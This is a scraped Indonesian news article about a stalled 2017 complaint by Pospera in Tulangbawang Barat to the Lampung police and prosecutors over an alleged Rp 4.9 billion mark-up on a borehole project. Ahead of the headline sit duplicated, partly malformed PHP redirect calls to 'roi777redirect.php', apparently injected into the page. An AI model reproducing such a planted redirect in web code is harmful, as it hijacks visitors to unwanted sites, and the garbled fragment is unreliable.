header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Laporan Pospera Jalan Ditempat -
Laporan Pospera Jalan Ditempat

TRANSLAMPUNG.COM, PANARAGAN-Berdasarkan laporan DPC Pospera Kabupaten Tulangbawang Barat (Tubaba) terhadap Pihak penegak hukum Mapolda dan Kejati Lampung pada 3 Februari 2017 lalu terkait dugaan Mark-up Proyek Sumur Bor, Balai Besar Wilayah Sungai Mesuji Sekampung (BBWSMS) sejauh ini belum ada perkembangan. Diduga laporan tersebut sengaja di bekukan.

Hal itu berdasarkan pada surat laporan terhadap Mapolda Lampung Nomor : 056/A.DPC-Pospera/TBB/XII/2016 serta lampiran surat kepada pihak Kejaksaan Tinggi Lampung dengan Nomor : 005/A.DPC-Pospera/TBB/I/2017 beberapa waktu lalu belum membuahkan hasil.

Menurut Ketua Pospera Tubaba Dedi Priyono mengatakan, dalam waktu dekat ini pihaknya akan kembali melayangkan surat kepada dua Lembaga penegak hukum yang tertinggi di Provinsi Lampung tersebut. Pasalnya, hingga saat ini laporan yang telah di sampaikan secara resmi kelembagaan belum diketahui perkembangannya.

“Kami akan kembali layangkan surat kepada Polda dan Kejati Lampung, untuk mempertanyakan perkembangan Laporan Dugaan Mark-up yang dilakukan oleh pihak proyek BBWSMS tahun 2016 lalu, senilai Rp. 4,9 miliar tersebut. Mengapa sejauh ini belum ada tindakan positif, yang dilakukan ?oleh Polda dan Kejati, mengapa mereka enggan untuk mendalaminya. Ada apa,” kata Dedi, terhadap Trans Lampung, Selasa (28/2).

Sebelumnya, pihak Polda Lampung bidang Tipikor Polda berjanji akan mengusut kasus tersebut, namun hingga kini tidak diketahui perkembangannya. sehingga pihak Pospera Tubaba juga telah meminta kepada Pihak Kejaksaan Tinggi Lampung untuk dapat ikut mengusut dugaan kasus tersebut.

“Kedua Lembaga Penegak hukum, baik Polda dan Kejati Lampung memang sudah kita kirimkan laporannya, tetapi jika memang tidak ada titik terang nya, kita akan surati Ombudsman Lampung, dan Laporan Pengaduan kami akan teruskan ke KPK di Jakarta.” Tegas Dedi.(dir)

News Reporter